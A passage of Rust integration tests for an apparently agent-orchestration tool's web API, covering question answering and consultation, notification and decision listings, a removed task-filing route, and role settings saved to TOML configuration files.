13532                kind: crate::config::AgentKind::Command,
13533                model: None,
13534                command: vec!["true".to_owned()],
13535                extra_args: Vec::new(),
13536                env: Default::default(),
13537                prompt_delivery: None,
13538                max_turn_secs: None,
13539            }],
13540            ..Config::default()
13541        };
13542        let talk = crate::talk::begin(
13543            &fx.talks(),
13544            &cfg,
13545            fx.home.path().to_path_buf(),
13546            Some("mock"),
13547        )
13548        .unwrap();
13549        let mut task = Task::new(
13550            "t".to_owned(),
13551            "Do it".to_owned(),
13552            PathBuf::from("/repo/magi"),
13553            Source::Agent {
13554                run: talk.id.clone(),
13555                node: crate::queue::CHAT_NODE.to_owned(),
13556            },
13557        );
13558        task.start("20260902-000000-beef".to_owned());
13559        fx.queue().put(&mut task).unwrap();
13560
13561        let list = fx.get("/api/questions").await.json();
13562        assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
13563        assert_eq!(
13564            list[0]["choices"],
13565            serde_json::json!(["SQLite", "Redis"]),
13566            "the hand-over is never a choice"
13567        );
13568        fx.questions()
13569            .update(&id, |q| {
13570                q.node = crate::land::APPROVAL_NODE.into();
13571                q.choices = vec!["merge".into(), "hold".into()];
13572                Ok(())
13573            })
13574            .unwrap();
13575        let list = fx.get("/api/questions").await.json();
13576        assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
13577        assert_eq!(list[0]["can_consult_chat"], true);
13578        fx.questions()
13579            .update(&id, |q| {
13580                q.node = crate::bump::NOTICE_NODE.into();
13581                Ok(())
13582            })
13583            .unwrap();
13584        let list = fx.get("/api/questions").await.json();
13585        assert_eq!(list[0]["origin_chat"], talk.id.as_str());
13586        assert_eq!(list[0]["can_consult_chat"], false);
13587    }
13588
13589    #[tokio::test]
13590    async fn a_consult_that_cannot_read_its_config_leaves_nothing_to_retry_around() {
13591        let fx = Fixture::start().await;
13592        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13593        fx.questions()
13594            .update(&id, |q| {
13595                q.node = crate::land::APPROVAL_NODE.into();
13596                q.choices = vec!["merge".into(), "hold".into()];
13597                Ok(())
13598            })
13599            .unwrap();
13600        let cfg = Config {
13601            agents: vec![crate::config::AgentSpec {
13602                id: "mock".to_owned(),
13603                kind: crate::config::AgentKind::Command,
13604                model: None,
13605                command: vec!["true".to_owned()],
13606                extra_args: Vec::new(),
13607                env: Default::default(),
13608                prompt_delivery: None,
13609                max_turn_secs: None,
13610            }],
13611            ..Config::default()
13612        };
13613        // Not a git working tree, so its `magi.toml` is read from disk.
13614        let repo = fx.home.path().join("chat-repo");
13615        std::fs::create_dir_all(&repo).unwrap();
13616        let toml = repo.join("magi.toml");
13617        std::fs::write(&toml, "this is = = not toml").unwrap();
13618        let talk = crate::talk::begin(&fx.talks(), &cfg, repo.clone(), Some("mock")).unwrap();
13619        let mut task = Task::new(
13620            "t".to_owned(),
13621            "Do it".to_owned(),
13622            PathBuf::from("/repo/magi"),
13623            Source::Agent {
13624                run: talk.id.clone(),
13625                node: crate::queue::CHAT_NODE.to_owned(),
13626            },
13627        );
13628        task.start("20260902-000000-beef".to_owned());
13629        fx.queue().put(&mut task).unwrap();
13630
13631        let path = format!("/api/questions/{id}/consult");
13632        let res = fx.post(&path, None).await;
13633        assert!(res.status >= 400, "{}", res.body);
13634        assert!(fx.questions().get(&id).unwrap().consult.is_none());
13635        assert!(fx.talks().get(&talk.id).unwrap().pending.is_empty());
13636
13637        std::fs::write(&toml, "").unwrap();
13638        let res = fx.post(&path, None).await;
13639        assert_eq!(res.status, 202, "{}", res.body);
13640        assert!(fx.questions().get(&id).unwrap().consult.is_some());
13641        let q = fx.questions().get(&id).unwrap();
13642        assert!(q.status.open());
13643        assert!(q.answer.is_none());
13644        assert_eq!(res.json()["origin_chat"], talk.id.as_str());
13645        assert_eq!(res.json()["can_consult_chat"], true);
13646        let list = fx.get("/api/questions").await.json();
13647        assert_eq!(list[0]["origin_chat"], talk.id.as_str());
13648        assert_eq!(list[0]["consult"]["talk"], talk.id.as_str());
13649
13650        let res = fx
13651            .post(
13652                &format!("/api/questions/{id}/answer"),
13653                Some(r#"{"choice":"hold"}"#),
13654            )
13655            .await;
13656        assert_eq!(res.status, 200, "{}", res.body);
13657        assert_eq!(res.json()["answer"]["choice"], "hold");
13658        assert_eq!(res.json()["origin_chat"], talk.id.as_str());
13659        assert_eq!(res.json()["can_consult_chat"], false);
13660        assert_eq!(fx.post(&path, None).await.status, 409);
13661
13662        let mut talk = fx.talks().get(&talk.id).unwrap();
13663        crate::talk::close(&mut talk, &fx.talks()).unwrap();
13664        let list = fx.get("/api/questions").await.json();
13665        assert_eq!(list[0]["origin_chat"], talk.id.as_str());
13666        assert_eq!(list[0]["origin_chat_closed"], true);
13667        assert_eq!(list[0]["can_consult_chat"], false);
13668
13669        fx.talks().remove(&talk.id).unwrap();
13670        let list = fx.get("/api/questions").await.json();
13671        assert_eq!(list[0]["origin_chat"], Value::Null);
13672        assert_eq!(list[0]["origin_chat_closed"], false);
13673        assert_eq!(list[0]["can_consult_chat"], false);
13674    }
13675
13676    #[tokio::test]
13677    async fn asking_back_clears_the_owner_count_until_the_agent_replies() {
13678        let fx = Fixture::start().await;
13679        let store = fx.questions();
13680        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13681        store.beat(&id, ask::WaiterKind::Asker);
13682        assert_eq!(
13683            fx.get("/api/health").await.json()["questions_needs_owner"],
13684            1
13685        );
13686
13687        // The owner asks back instead of deciding: the ask bar, the nav badge
13688        // and the title must stop naming this question, because there is
13689        // nothing to decide until the agent answers - `status` alone cannot
13690        // say that, which is the whole reason `questions_needs_owner` exists
13691        // alongside `questions_open`.
13692        let res = fx
13693            .post(
13694                &format!("/api/questions/{id}/say"),
13695                Some(r#"{"body":"why not Postgres?"}"#),
13696            )
13697            .await;
13698        assert_eq!(res.status, 200, "{}", res.body);
13699        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
13700        assert_eq!(
13701            fx.get("/api/health").await.json()["questions_needs_owner"],
13702            0,
13703            "waiting on the agent is not waiting on the owner"
13704        );
13705
13706        // `magi ask --thread` replying is what brings the owner count back -
13707        // the same event that would resume the CLI call blocked in `magi
13708        // ask`.
13709        let mut q = store.get(&id).expect("get");
13710        q.reply("because SQLite needs no server", vec!["SQLite".to_owned()])
13711            .expect("reply");
13712        store.put(&mut q).expect("put");
13713        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
13714        assert_eq!(
13715            fx.get("/api/health").await.json()["questions_needs_owner"],
13716            1,
13717            "the agent's reply is what should light the banner back up"
13718        );
13719    }
13720
13721    #[tokio::test]
13722    async fn saying_something_is_refused_when_empty_answered_or_abandoned() {
13723        let fx = Fixture::start().await;
13724        let store = fx.questions();
13725
13726        let empty_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13727        let res = fx
13728            .post(
13729                &format!("/api/questions/{empty_id}/say"),
13730                Some(r#"{"body":"   "}"#),
13731            )
13732            .await;
13733        assert_eq!(res.status, 400, "{}", res.body);
13734
13735        let answered_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13736        let mut answered = store.get(&answered_id).expect("get");
13737        answered
13738            .answer(Answer::Choice("SQLite".to_owned()))
13739            .expect("answer");
13740        store.put(&mut answered).expect("put");
13741        let res = fx
13742            .post(
13743                &format!("/api/questions/{answered_id}/say"),
13744                Some(r#"{"body":"still there?"}"#),
13745            )
13746            .await;
13747        assert_eq!(res.status, 409, "{}", res.body);
13748
13749        let abandoned_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13750        let mut abandoned = store.get(&abandoned_id).expect("get");
13751        abandoned.abandon("timed out");
13752        store.put(&mut abandoned).expect("put");
13753        let res = fx
13754            .post(
13755                &format!("/api/questions/{abandoned_id}/say"),
13756                Some(r#"{"body":"still there?"}"#),
13757            )
13758            .await;
13759        assert_eq!(res.status, 409, "{}", res.body);
13760    }
13761
13762    #[tokio::test]
13763    async fn an_answer_the_question_does_not_offer_is_refused() {
13764        let fx = Fixture::start().await;
13765        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13766        let path = format!("/api/questions/{id}/answer");
13767
13768        for body in [
13769            r#"{"choice":"Postgres"}"#,
13770            r#"{"text":"whatever you think"}"#,
13771            r#"{"choice":"Redis","text":"both"}"#,
13772            r#"{}"#,
13773        ] {
13774            let res = fx.post(&path, Some(body)).await;
13775            assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
13776            assert!(res.json()["error"].is_string(), "{}", res.body);
13777        }
13778        // Nothing above may have answered it.
13779        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
13780    }
13781
13782    #[tokio::test]
13783    async fn a_free_text_question_takes_text_and_not_a_choice() {
13784        let fx = Fixture::start().await;
13785        let id = ask(&fx, "What should the flag be called?", &[]);
13786        fx.questions().beat(&id, ask::WaiterKind::Asker);
13787        let path = format!("/api/questions/{id}/answer");
13788
13789        assert_eq!(
13790            fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
13791            400
13792        );
13793        let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
13794        assert_eq!(res.status, 200, "{}", res.body);
13795        assert_eq!(res.json()["answer"]["text"], "--json");
13796    }
13797
13798    #[tokio::test]
13799    async fn an_unknown_question_is_a_json_404() {
13800        let fx = Fixture::start().await;
13801        let res = fx
13802            .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
13803            .await;
13804        assert_eq!(res.status, 404, "{}", res.body);
13805        assert!(res.json()["error"].is_string());
13806    }
13807
13808    #[tokio::test]
13809    async fn notifications_resolve_live_questions_without_changing_saved_notices() {
13810        let fx = Fixture::start().await;
13811        let questions = Questions::at(fx.home.path().join("questions"));
13812        let store = Notices::at(fx.home.path().join("notifications"));
13813        let mut q = ask::Question::new(
13814            "t1".into(),
13815            "conduct".into(),
13816            "conductor".into(),
13817            "Continue?".into(),
13818            String::new(),
13819            Vec::new(),
13820        );
13821        questions.put(&mut q).unwrap();
13822        let mut n = Notice::warn("task:t1", "Task t1 is held.");
13823        n.covered_by = Some(q.id.clone());
13824        let n = store.raise(n).unwrap();
13825        let listed = fx.get("/api/notifications").await.json();
13826        assert_eq!(listed["items"][0]["answerable_question"], q.id);
13827        questions
13828            .update(&q.id, |q| {
13829                q.abandon("run gone");
13830                Ok(())
13831            })
13832            .unwrap();
13833        let listed = fx.get("/api/notifications").await.json();
13834        assert!(listed["items"][0]["answerable_question"].is_null());
13835        assert_eq!(store.get(&n.id).unwrap().covered_by, Some(q.id));
13836        assert!(
13837            !std::fs::read_to_string(store.root().join(format!("{}.json", n.id)))
13838                .unwrap()
13839                .contains("answerable_question")
13840        );
13841    }
13842
13843    #[tokio::test]
13844    async fn decisions_list_reports_unreadable_records_without_hiding_pending_items() {
13845        let fx = Fixture::start().await;
13846        let outbox = crate::task_inquiry::Outbox::at(fx.home.path());
13847        let task = crate::queue::Task::new(
13848            "work".into(),
13849            "work".into(),
13850            fx.home.path().into(),
13851            crate::queue::Source::Human,
13852        );
13853        let inquiry = outbox
13854            .file(&task, None, "test".into(), "入力待ち", "詳細")
13855            .unwrap();
13856        let root = fx.home.path().join("notifications/task-inquiries");
13857        std::fs::write(root.join("broken.json"), "{").unwrap();
13858        let mut unsupported = inquiry.clone();
13859        unsupported.id = "unsupported".into();
13860        unsupported.schema = 99;
13861        std::fs::write(
13862            root.join("unsupported.json"),
13863            serde_json::to_vec(&unsupported).unwrap(),
13864        )
13865        .unwrap();
13866        let before = std::fs::read(root.join(format!("{}.json", inquiry.id))).unwrap();
13867        for _ in 0..2 {
13868            let response = fx.get("/api/decisions").await;
13869            assert_eq!(response.status, 200, "{}", response.body);
13870            let listed = response.json();
13871            assert_eq!(listed["unreadable"], 2);
13872            assert_eq!(listed["items"].as_array().unwrap().len(), 1);
13873            assert_eq!(listed["items"][0]["id"], inquiry.id);
13874            assert_eq!(listed["items"][0]["decision"]["status"], "awaiting_owner");
13875        }
13876        assert_eq!(
13877            before,
13878            std::fs::read(root.join(format!("{}.json", inquiry.id))).unwrap()
13879        );
13880        assert!(outbox.list().is_err());
13881        std::fs::remove_file(root.join("broken.json")).unwrap();
13882        std::fs::remove_file(root.join("unsupported.json")).unwrap();
13883        assert_eq!(fx.get("/api/decisions").await.json()["unreadable"], 0);
13884    }
13885
13886    #[tokio::test]
13887    async fn decisions_list_exposes_migration_errors_without_acknowledging_them() {
13888        let fx = Fixture::start().await;
13889        let root = fx.home.path().join("notifications/task-chat-migration-v1");
13890        std::fs::create_dir_all(&root).unwrap();
13891        let journal = serde_json::json!({
13892            "schema": 1, "pending": ["saved-inquiry"],
13893            "errors": {"saved-inquiry": "Source is unreadable; no action executed"}
13894        });
13895        let bytes = serde_json::to_vec(&journal).unwrap();
13896        std::fs::write(root.join("state.json"), &bytes).unwrap();
13897        for _ in 0..2 {
13898            let response = fx.get("/api/decisions").await;
13899            assert_eq!(response.status, 200);
13900            let listed = response.json();
13901            assert_eq!(listed["migration_errors"][0]["id"], "saved-inquiry");
13902            assert!(listed["items"].as_array().unwrap().is_empty());
13903            assert_eq!(std::fs::read(root.join("state.json")).unwrap(), bytes);
13904        }
13905        // An unreadable journal must not make the endpoint hide the list.
13906        std::fs::write(root.join("state.json"), b"{").unwrap();
13907        let response = fx.get("/api/decisions").await;
13908        assert_eq!(response.status, 200);
13909        assert_eq!(response.json()["migration_errors"][0]["id"], "migration");
13910    }
13911
13912    #[tokio::test]
13913    async fn notifications_list_read_dismiss_and_health_agree() {
13914        let fx = Fixture::start().await;
13915        let store = Notices::at(fx.home.path().join("notifications"));
13916        assert_eq!(fx.get("/api/notifications").await.json()["unread"], 0);
13917        let rev0 = fx.get("/api/health").await.json()["notifications_rev"].clone();
13918
13919        let a = store.raise(Notice::warn("task:1", "held")).unwrap();
13920        let b = store.raise(Notice::error("run:2", "blocked")).unwrap();
13921
13922        store
13923            .raise(Notice::warn("deputy:deleted-question", "obsolete warning"))
13924            .unwrap();
13925        let health = fx.get("/api/health").await.json();
13926        assert_eq!(health["notifications_unread"], 2);
13927        assert_ne!(
13928            health["notifications_rev"], rev0,
13929            "the badge must move live"
13930        );
13931
13932        let listed = fx.get("/api/notifications").await.json();
13933        assert_eq!(listed["unread"], 2);
13934        assert_eq!(listed["items"].as_array().unwrap().len(), 2);
13935        assert_eq!(listed["items"][0]["severity"], "error", "newest first");
13936
13937        let read = fx
13938            .post(&format!("/api/notifications/{}/read", a.id), None)
13939            .await;
13940        assert_eq!(read.status, 200, "{}", read.body);
13941        assert_eq!(fx.get("/api/notifications").await.json()["unread"], 1);
13942
13943        let gone = fx
13944            .post(&format!("/api/notifications/{}/dismiss", b.id), None)
13945            .await;
13946        assert_eq!(gone.status, 200, "{}", gone.body);
13947        let listed = fx.get("/api/notifications").await.json();
13948        assert_eq!(listed["items"].as_array().unwrap().len(), 1);
13949        assert_eq!(listed["unread"], 0);
13950
13951        store.raise(Notice::info("x", "again")).unwrap();
13952        let all = fx.post("/api/notifications/read-all", None).await;
13953        assert_eq!(all.status, 200, "{}", all.body);
13954        assert_eq!(all.json()["marked"], 1);
13955        assert_eq!(
13956            fx.get("/api/health").await.json()["notifications_unread"],
13957            0
13958        );
13959
13960        let missing = fx.post("/api/notifications/nope/read", None).await;
13961        assert_eq!(missing.status, 404, "{}", missing.body);
13962        assert!(missing.json()["error"].is_string());
13963    }
13964
13965    /// New work reaches the queue through `magi task add`, a standing talk's
13966    /// `magi task add --solo`, or the CLI - never a raw `POST /api/queue` -
13967    /// so the compose form and that route are gone. The tests that covered
13968    /// that route's validation went with it, and nothing was left asserting
13969    /// it stays gone — so a re-added handler would silently let the phone
13970    /// file briefs no one validated.
13971    #[tokio::test]
13972    async fn a_task_cannot_be_filed_over_the_phone_directly() {
13973        let f = Fixture::start().await;
13974
13975        let res = f
13976            .post(
13977                "/api/queue",
13978                Some(r#"{"instruction":"Add a --json flag to magi list"}"#),
13979            )
13980            .await;
13981
13982        assert_eq!(
13983            res.status, 405,
13984            "POST /api/queue must not be a route: {}",
13985            res.body
13986        );
13987        assert!(
13988            f.queue().list().is_empty(),
13989            "a task filed by a route that does not exist must not reach the disk"
13990        );
13991        // The path itself is still served — the Queue view reads it — and the
13992        // per-task controls are untouched by the entry being removed.
13993        assert_eq!(f.get("/api/queue").await.status, 200);
13994    }
13995
13996    /// `<repo>/host/owner/repo/.git`, the ghq layout [`repos::scan`] expects.
13997    fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
13998        std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
13999            .expect("checkout dir");
14000    }
14001
14002    /// Two command agents, so a config needs no real CLI.
14003    const SETTINGS_AGENTS: &str = "[[agents]]\nid = \"a\"\nkind = \"command\"\ncommand = [\"true\"]\n\n[[agents]]\nid = \"b\"\nkind = \"command\"\ncommand = [\"true\"]\n";
14004
14005    fn settings_dirs(repo_toml: &str, machine_toml: Option<&str>) -> (TempDir, PathBuf, PathBuf) {
14006        let tmp = TempDir::new().expect("tempdir");
14007        let repo = tmp.path().join("repo");
14008        std::fs::create_dir_all(&repo).expect("repo dir");
14009        std::fs::write(repo.join("magi.toml"), repo_toml).expect("repo toml");
14010        let machine = tmp.path().join("cfg").join("magi").join("config.toml");
14011        if let Some(text) = machine_toml {
14012            std::fs::create_dir_all(machine.parent().expect("parent")).expect("cfg dir");
14013            std::fs::write(&machine, text).expect("machine toml");
14014        }
14015        (tmp, repo, machine)
14016    }
14017
14018    async fn settings_checkout(path: &FsPath, text: &str) {
14019        std::fs::create_dir_all(path).unwrap();
14020        std::fs::write(path.join("magi.toml"), text).unwrap();
14021        for args in [
14022            vec!["init", "-b", "main"],
14023            vec!["add", "magi.toml"],
14024            vec![
14025                "-c",
14026                "user.name=Test",
14027                "-c",
14028                "user.email=test@example.invalid",
14029                "commit",
14030                "-m",
14031                "fixture",
14032            ],
14033            vec!["update-ref", "refs/remotes/origin/main", "HEAD"],
14034            vec![
14035                "symbolic-ref",
14036                "refs/remotes/origin/HEAD",
14037                "refs/remotes/origin/main",
14038            ],
14039        ] {
14040            crate::git::git(path, &args).await.unwrap();
14041        }
14042    }
14043
14044    #[tokio::test]
14045    async fn settings_context_handlers_validate_and_save_without_a_socket() {
14046        let (tmp, repo, machine) =
14047            settings_dirs("[roles]\nreviewers = [\"a\"]\n", Some(SETTINGS_AGENTS));
14048        let root = tmp.path().join("roots");
14049        let selected = root.join("host/owner/selected");
14050        settings_checkout(
14051            &selected,
14052            "[roles]\nconductor = \"b\"\n[graph]\njudges = 2\n",
14053        )
14054        .await;
14055        std::fs::write(&machine, format!("{SETTINGS_AGENTS}\n[roles]\nconductor = \"a\"\n[graph]\njudges = 1\n[repos]\nroots = [{}]\nscan_ttl = 3600\n", toml::Value::String(root.display().to_string()))).unwrap();
14056        let before = std::fs::read(&machine).unwrap();
14057        let ui = Arc::new(
14058            Ui::new(
14059                Queue::at(tmp.path().join("queue")),
14060                Questions::at(tmp.path().join("questions")),
14061                Talks::at(tmp.path().join("talks")),
14062                tmp.path().join("runs"),
14063                tmp.path().to_path_buf(),
14064                repo.clone(),
14065            )
14066            .with_machine_config(Some(machine.clone())),
14067        );
14068        let query = || {
14069            Query(SettingsQuery {
14070                repo: Some(selected.clone()),
14071            })
14072        };
14073        let Json(v) = settings_get(State(ui.clone()), query()).await.unwrap();
14074        assert!(v.error.is_none(), "{:?}", v.error);
14075        let conductor = v.roles.iter().find(|r| r.key == "conductor").unwrap();
14076        assert_eq!(conductor.source, "repo");
14077        assert_eq!(
14078            conductor.machine_value,
14079            Some(toml::Value::String("a".into()))
14080        );
14081        assert!(!conductor.editable);
14082        let judges = v.roles.iter().find(|r| r.key == "judges").unwrap();
14083        assert_eq!(
14084            judges.count.as_ref().unwrap().machine_value,
14085            Some(toml::Value::Integer(1))
14086        );
14087        assert!(
14088            !v.roles
14089                .iter()
14090                .find(|r| r.key == "reviewers")
14091                .unwrap()
14092                .editable
14093        );
14094        let unknown = || {
14095            Query(SettingsQuery {
14096                repo: Some(tmp.path().to_path_buf()),
14097            })
14098        };
14099        assert_eq!(
14100            settings_get(State(ui.clone()), unknown())
14101                .await
14102                .unwrap_err()
14103                .status,
14104            StatusCode::UNPROCESSABLE_ENTITY
14105        );
14106        let body = || {
14107            Ok(Json(RolesBody {
14108                revision: v.revision.clone(),
14109                roles: std::collections::BTreeMap::from([("judges".into(), vec!["b".into()])]),
14110                counts: Default::default(),
14111            }))
14112        };
14113        assert_eq!(
14114            settings_put_roles(State(ui.clone()), unknown(), body())
14115                .await
14116                .unwrap_err()
14117                .status,
14118            StatusCode::UNPROCESSABLE_ENTITY
14119        );
14120        assert_eq!(std::fs::read(&machine).unwrap(), before);
14121        let Json(saved) = settings_put_roles(State(ui.clone()), query(), body())
14122            .await
14123            .unwrap();
14124        assert_eq!(
14125            saved.repo,
14126            selected.canonicalize().unwrap().display().to_string()
14127        );
14128        assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
14129        assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
14130        // A cache miss refreshes the stable candidate list exactly for validation.
14131        let fresh = root.join("host/owner/fresh");
14132        settings_checkout(&fresh, "[graph]\nadvisors = 0\n").await;
14133        let Json(fresh_view) = settings_get(State(ui), Query(SettingsQuery { repo: Some(fresh) }))
14134            .await
14135            .unwrap();
14136        assert_eq!(fresh_view.repositories.len(), 3);
14137    }
14138
14139    #[tokio::test]
14140    async fn settings_context_selector_validates_paths_and_preserves_all_checkouts() {
14141        let (tmp, repo, machine) = settings_dirs(
14142            "[roles]\nreviewers = [\"a\"]\n",
14143            Some(&format!("{SETTINGS_AGENTS}\n[graph]\njudges = 1\n")),
14144        );
14145        let root = tmp.path().join("roots");
14146        let selected = root.join("host/owner/selected");
14147        settings_checkout(
14148            &selected,
14149            "[roles]\nadvisors = [\"b\"]\n[graph]\njudges = 2\n",
14150        )
14151        .await;
14152        let broken = root.join("host/owner/broken");
14153        settings_checkout(&broken, "[roles\nbroken").await;
14154        let machine_text = format!(
14155            "{SETTINGS_AGENTS}\n[graph]\njudges = 1\n[repos]\nroots = [{}]\n",
14156            toml::Value::String(root.display().to_string())
14157        );
14158        std::fs::write(&machine, &machine_text).unwrap();
14159        let originals: Vec<_> = [&repo, &selected, &broken]
14160            .iter()
14161            .map(|p| std::fs::read(p.join("magi.toml")).unwrap())
14162            .collect();
14163        let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
14164        let default = f.get("/api/settings").await.json();
14165        assert_eq!(
14166            default["repo"],
14167            repo.canonicalize().unwrap().display().to_string()
14168        );
14169        assert_eq!(default["repositories"].as_array().unwrap().len(), 3);
14170        let query = format!("?repo={}", selected.display());
14171        let res = f.get(&format!("/api/settings{query}")).await;
14172        assert_eq!(res.status, 200, "{}", res.body);
14173        let v = res.json();
14174        assert!(v["error"].is_null(), "{v}");
14175        assert_eq!(v["repositories"], default["repositories"]);
14176        let role = |key: &str| {
14177            v["roles"]
14178                .as_array()
14179                .unwrap()
14180                .iter()
14181                .find(|r| r["key"] == key)
14182                .unwrap()
14183        };
14184        assert_eq!(role("advisors")["configured"], serde_json::json!(["b"]));
14185        assert_eq!(role("advisors")["source"], "repo");
14186        assert_eq!(role("advisors")["editable"], false);
14187        assert!(role("advisors")["machine_value"].is_null());
14188        assert_eq!(role("judges")["count"]["value"], 2);
14189        assert_eq!(role("judges")["count"]["machine_value"], 1);
14190        assert_eq!(role("judges")["count"]["source"], "repo");
14191        let source = role("judges")["count"]["source_path"].as_str().unwrap();
14192        assert!(
14193            source.contains("origin/main") && !source.contains("magi/config/"),
14194            "{source}"
14195        );
14196        assert_eq!(
14197            role("reviewers")["editable"],
14198            false,
14199            "default context outside roots must protect its declarations"
14200        );
14201        let body =
14202            serde_json::json!({"revision": v["revision"], "roles": {"judges": ["b"]}}).to_string();
14203        let unknown = format!("?repo={}", tmp.path().display());
14204        assert_eq!(f.get(&format!("/api/settings{unknown}")).await.status, 422);
14205        assert_eq!(
14206            f.put(&format!("/api/settings/roles{unknown}"), &body)
14207                .await
14208                .status,
14209            422
14210        );
14211        assert_eq!(std::fs::read_to_string(&machine).unwrap(), machine_text);
14212        let refuse = serde_json::json!({"revision": v["revision"], "roles": {"reviewers": ["b"]}})
14213            .to_string();
14214        assert_eq!(
14215            f.put(&format!("/api/settings/roles{query}"), &refuse)
14216                .await
14217                .status,
14218            422
14219        );
14220        let saved = f.put(&format!("/api/settings/roles{query}"), &body).await;
14221        assert_eq!(saved.status, 200, "{}", saved.body);
14222        assert_eq!(saved.json()["repo"], v["repo"]);
14223        assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
14224        assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
14225        for (p, before) in [&repo, &selected, &broken].iter().zip(originals) {
14226            assert_eq!(std::fs::read(p.join("magi.toml")).unwrap(), before);
14227        }
14228        let error = f
14229            .get(&format!("/api/settings?repo={}", broken.display()))
14230            .await;
14231        assert_eq!(error.status, 200);
14232        assert!(error.json()["error"]["message"].is_string());
14233        assert_eq!(error.json()["repositories"], default["repositories"]);
14234    }
14235
14236    #[tokio::test]
14237    async fn settings_get_reports_sources_and_the_advisors_fallback() {
14238        let (_tmp, repo, machine) =
14239            settings_dirs(SETTINGS_AGENTS, Some("[roles]\njudges = [\"b\"]\n"));
14240        let f = Fixture::with_repo_and_machine(repo, machine).await;
14241        let res = f.get("/api/settings").await;
14242        assert_eq!(res.status, 200, "{}", res.body);
14243        let v = res.json();
14244        assert!(v["error"].is_null(), "{v}");
14245        let role = |k: &str| {
14246            v["roles"]
14247                .as_array()
14248                .and_then(|r| r.iter().find(|x| x["key"] == k))
14249                .cloned()
14250                .unwrap_or_else(|| panic!("no role {k}: {v}"))
14251        };
14252        assert_eq!(role("judges")["source"], "machine");
14253        assert_eq!(role("judges")["editable"], true);
14254        assert_eq!(role("implementers")["source"], "default");
14255        let adv = role("advisors");
14256        assert_eq!(adv["fallback"], "judges");
14257        assert!(
14258            adv["seats"]
14259                .as_array()
14260                .is_some_and(|s| s.iter().all(|x| x == "b")),
14261            "{adv}"
14262        );
14263        assert_eq!(v["agents"].as_array().map(Vec::len), Some(2));
14264        assert_eq!(v["agents"][0]["source"], "repo");
14265    }
14266
14267    #[tokio::test]
14268    async fn settings_get_reports_a_config_that_does_not_parse() {
14269        let (_tmp, repo, machine) = settings_dirs("[roles\nbroken", None);
14270        let f = Fixture::with_repo_and_machine(repo, machine).await;
14271        let res = f.get("/api/settings").await;
14272        assert_eq!(res.status, 200, "{}", res.body);
14273        let v = res.json();
14274        assert!(v["error"]["message"].is_string(), "{v}");
14275        assert!(
14276            v["error"]["path"]
14277                .as_str()
14278                .is_some_and(|p| p.ends_with("magi.toml")),
14279            "{v}"
14280        );
14281        assert_eq!(v["roles"].as_array().map(Vec::len), Some(0));
14282    }
14283
14284    #[tokio::test]
14285    async fn settings_put_saves_to_the_machine_file_and_keeps_comments() {
14286        let (_tmp, repo, machine) = settings_dirs(
14287            SETTINGS_AGENTS,
14288            Some("# mine\n[roles]\n# seats\njudges = [\"a\"]  # note\n\n[vars]\nx = 1\n"),
14289        );
14290        let repo_before = std::fs::read(repo.join("magi.toml")).expect("read");
14291        let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
14292        let rev = f.get("/api/settings").await.json()["revision"]
14293            .as_str()
14294            .expect("revision")
14295            .to_owned();
14296        let body = serde_json::json!({
14297            "revision": rev,
14298            "roles": { "judges": ["b", "a"], "reviewers": ["a"] }
14299        })
14300        .to_string();
14301        let res = f.put("/api/settings/roles", &body).await;
14302        assert_eq!(res.status, 200, "{}", res.body);
14303        let text = std::fs::read_to_string(&machine).expect("machine");
14304        assert_eq!(
14305            text,
14306            "# mine\n[roles]\n# seats\njudges = [\"b\", \"a\"]  # note\nreviewers = [\"a\"]\n\n[vars]\nx = 1\n"
14307        );
14308        assert_eq!(
14309            std::fs::read(repo.join("magi.toml")).expect("read"),
14310            repo_before
14311        );
14312        let again = f.get("/api/settings").await.json();
14313        let judges = again["roles"]
14314            .as_array()
14315            .expect("roles")
14316            .iter()
14317            .find(|r| r["key"] == "judges")
14318            .expect("judges")
14319            .clone();
14320        assert_eq!(judges["configured"], serde_json::json!(["b", "a"]));
14321        // The old revision is now stale.
14322        let stale = f.put("/api/settings/roles", &body).await;
14323        assert_eq!(stale.status, 409, "{}", stale.body);
14324    }
14325
14326    #[tokio::test]
14327    async fn settings_counts_are_reported_and_saved() {
14328        let (_tmp, repo, machine) = settings_dirs(
14329            &format!("{SETTINGS_AGENTS}\n[graph]\nreviewers = 2\n"),
14330            Some("# mine\n[graph]\ncandidates = 2 # seats\n"),
14331        );
14332        let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
14333        let v = f.get("/api/settings").await.json();
14334        let count = |v: &serde_json::Value, k: &str| {
14335            v["roles"]
14336                .as_array()
14337                .and_then(|r| r.iter().find(|x| x["key"] == k))
14338                .map(|x| x["count"].clone())
14339                .unwrap_or_else(|| panic!("no role {k}: {v}"))
14340        };
14341        let imp = count(&v, "implementers");
14342        assert_eq!(imp["value"], 2);
14343        assert_eq!(imp["source"], "machine");
14344        assert_eq!(imp["file_key"], "candidates");
14345        assert_eq!(imp["roster_len"], 2);
14346        assert_eq!(imp["backups"], 0);
14347        assert_eq!(count(&v, "judges")["source"], "default");
14348        assert_eq!(count(&v, "advisors")["min"], 0);
14349        assert_eq!(count(&v, "reviewers")["editable"], false);
14350        assert!(
14351            count(&v, "reviewers")["locked_reason"]
14352                .as_str()
14353                .is_some_and(|m| m.contains("graph.reviewers"))
14354        );
14355        assert!(count(&v, "fixer").is_null());
14356        let rev = v["revision"].as_str().expect("revision").to_owned();
